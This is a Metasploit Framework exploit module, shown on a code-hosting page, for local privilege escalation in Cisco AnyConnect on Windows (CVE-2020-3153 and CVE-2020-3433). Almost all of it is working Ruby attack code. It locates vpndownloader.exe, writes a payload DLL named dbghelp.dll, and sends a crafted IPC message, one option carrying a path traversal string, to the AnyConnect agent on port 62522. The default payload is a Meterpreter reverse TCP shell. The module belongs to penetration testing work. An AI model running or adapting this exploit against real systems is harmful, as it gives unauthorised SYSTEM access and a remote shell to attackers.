CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/anyconnect_lpe.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::Windows::Priv
10
include Msf::Post::Windows::FileInfo
11
include Msf::Post::File
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',
21
'Description' => %q{
22
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
23
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
24
to create/overwrite files in arbitrary locations with system level privileges.
25
26
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
27
prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers
28
to execute code on the affected machine with with system level privileges.
29
30
Both attacks consist in sending a specially crafted IPC request to the TCP
31
port 62522 on the loopback device, which is exposed by the Cisco AnyConnect
32
Secure Mobility Agent service. This service will then launch the vulnerable
33
installer component (`vpndownloader`), which copies itself to an arbitrary
34
location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being
35
executed with system privileges. Since `vpndownloader` is also vulnerable to DLL
36
hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same
37
location `vpndownloader` will be copied to get code execution with system
38
privileges.
39
40
The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect
41
Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
42
version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been
43
successfully tested against Cisco AnyConnect Secure Mobility Client versions
44
4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version
45
1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).
46
},
47
'License' => MSF_LICENSE,
48
'Author' => [
49
'Yorick Koster', # original PoC CVE-2020-3153, analysis
50
'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module
51
'Christophe De La Fuente' # msf module for CVE-2020-3153
52
],
53
'Platform' => 'win',
54
'Arch' => [ ARCH_X86, ARCH_X64 ],
55
'SessionTypes' => [ 'meterpreter' ],
56
'Targets' => [
57
[
58
'Windows x86/x64 with x86 payload',
59
{
60
'Arch' => ARCH_X86
61
}
62
]
63
],
64
'Privileged' => true,
65
'References' => [
66
['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
67
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
68
['CVE', '2020-3153'],
69
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],
70
['CVE', '2020-3433']
71
],
72
'DisclosureDate' => '2020-08-05',
73
'Notes' => {
74
'SideEffects' => [ARTIFACTS_ON_DISK],
75
'Reliability' => [REPEATABLE_SESSION],
76
'Stability' => [CRASH_SAFE]
77
},
78
'DefaultTarget' => 0,
79
'DefaultOptions' => {
80
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
81
'FileDropperDelay' => 10
82
},
83
'Compat' => {
84
'Meterpreter' => {
85
'Commands' => %w[
86
core_channel_open
87
]
88
}
89
}
90
)
91
)
92
93
register_options [
94
OptString.new('INSTALL_PATH', [
95
false,
96
'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
97
' should be found). It will be automatically detected if not set.'
98
]),
99
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])
100
]
101
end
102
103
# See AnyConnect IPC protocol articles:
104
# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/
105
# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/
106
# - https://www.serializing.me/2023/01/27/anyconnect-inter-process-communication/
107
class CIPCHeader < BinData::Record
108
endian :little
109
110
uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
111
uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
112
uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
113
uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
114
uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
115
uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
116
uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
117
uint8 :message_type, label: 'Message Type', initial_value: 1
118
uint8 :message_id, label: 'Message ID', initial_value: 2
119
end
120
121
class CIPCTlv < BinData::Record
122
# TLVs are tricky when it comes to endieness. For the type and length fields, they're big endian, but
123
# for the value, they're little endian. For example, each UTF-16 character, is encoded in one little
124
# endian unsigned short. There is one exception to that rule: UTF-8 strings and TV (Type and Value)
125
# entries. Note that TVs, are the ones that have a Type like 0x80XX, which are used to store some
126
# booleans and unsigned shorts.
127
# This is why having the entire "BinData::Record" as big endian is not a problem in this case: the IPC
128
# message to which the vulnerabilit(ies) are associated, only makes use of UTF-8 strings and a boolean.
129
endian :big
130
131
uint16 :msg_type, label: 'Type'
132
uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
133
stringz :msg_value, label: 'Value', length: -> { msg_length }
134
end
135
136
class CIPCMessage < BinData::Record
137
endian :little
138
139
cipc_header :header, label: 'Header'
140
array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
141
end
142
143
def detect_path
144
program_files_paths = Set.new([get_env('ProgramFiles')])
145
program_files_paths << get_env('ProgramFiles(x86)')
146
path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'
147
148
program_files_paths.each do |program_files_path|
149
next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))
150
151
return "#{program_files_path}\\#{path}"
152
end
153
154
nil
155
end
156
157
def sanitize_path(path)
158
return nil unless path
159
160
path = path.strip
161
loop do
162
break if path.last != '\\'
163
164
path.chop!
165
end
166
path
167
end
168
169
def check
170
install_path = sanitize_path(datastore['INSTALL_PATH'])
171
if install_path&.!= ''
172
vprint_status("Skipping installation path detection and use provided path: #{install_path}")
173
@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil
174
else
175
vprint_status('Try to detect installation path...')
176
@installation_path = detect_path
177
end
178
179
unless @installation_path
180
return CheckCode.Safe('vpndownloader.exe not found on file system')
181
end
182
183
file_path = "#{@installation_path}\\vpndownloader.exe"
184
vprint_status("Found vpndownloader.exe path: '#{file_path}'")
185
186
version = file_version(file_path)
187
unless version
188
return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
189
end
190
191
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
192
193
patched_version_cve_2020_3153 = Rex::Version.new('4.8.02042')
194
patched_version_cve_2020_3433 = Rex::Version.new('4.9.00086')
195
@ac_version = Rex::Version.new(version.join('.'))
196
if @ac_version < patched_version_cve_2020_3153
197
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).")
198
elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153
199
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).")
200
elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153
201
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).")
202
else
203
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.")
204
end
205
end
206
207
def exploit
208
fail_with(Failure::None, 'Session is already elevated') if is_system?
209
if !payload.arch.include?(ARCH_X86)
210
fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
211
end
212
213
check_result = check
214
print_status(check_result.message)
215
if check_result == CheckCode::Safe && !@installation_path
216
fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
217
end
218
219
cac_cmd = '"CAC-nc-install'
220
if @ac_version && @ac_version >= Rex::Version.new('4.7')
221
vprint_status('"-ipc" argument needed')
222
cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
223
else
224
vprint_status('"-ipc" argument not needed')
225
end
226
227
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
228
if cve_2020_3153
229
program_data_path = get_env('ProgramData')
230
dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
231
else
232
temp_path = get_env('TEMP')
233
junk = Rex::Text.rand_text_alphanumeric(6)
234
temp_path << "\\#{junk}"
235
mkdir(temp_path)
236
dbghelp_path = "#{temp_path}\\dbghelp.dll"
237
end
238
239
print_status("Writing the payload to #{dbghelp_path}")
240
241
begin
242
payload_dll = generate_payload_dll(dll_exitprocess: true)
243
write_file(dbghelp_path, payload_dll)
244
register_file_for_cleanup(dbghelp_path)
245
rescue ::Rex::Post::Meterpreter::RequestError => e
246
fail_with(Failure::NotFound, e.message)
247
end
248
249
if cve_2020_3153
250
# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
251
# normal process will copy the file to
252
# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
253
register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
254
junk = Rex::Text.rand_text_alphanumeric(4)
255
cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
256
else
257
cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\""
258
end
259
260
vprint_status("IPC Command: #{cac_cmd}")
261
262
cipc_msg = CIPCMessage.new
263
cipc_msg.body << CIPCTlv.new(
264
msg_type: 2,
265
msg_value: cac_cmd
266
)
267
cipc_msg.body << CIPCTlv.new(
268
msg_type: 6,
269
msg_value: "#{@installation_path}\\vpndownloader.exe"
270
)
271
272
vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
273
begin
274
socket = client.net.socket.create(
275
Rex::Socket::Parameters.new(
276
'PeerHost' => '127.0.0.1',
277
'PeerPort' => 62522,
278
'Proto' => 'tcp'
279
)
280
)
281
rescue Rex::ConnectionError => e
282
fail_with(Failure::Unreachable, e.message)
283
end
284
285
vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
286
socket.write(cipc_msg.to_binary_s)
287
socket.flush
288
# Give FileDropper some time to cleanup before handing over to the operator
289
Rex.sleep(3)
290
ensure
291
if socket
292
vprint_status('Shutdown the socket')
293
socket.shutdown
294
end
295
end
296
297
end
298
299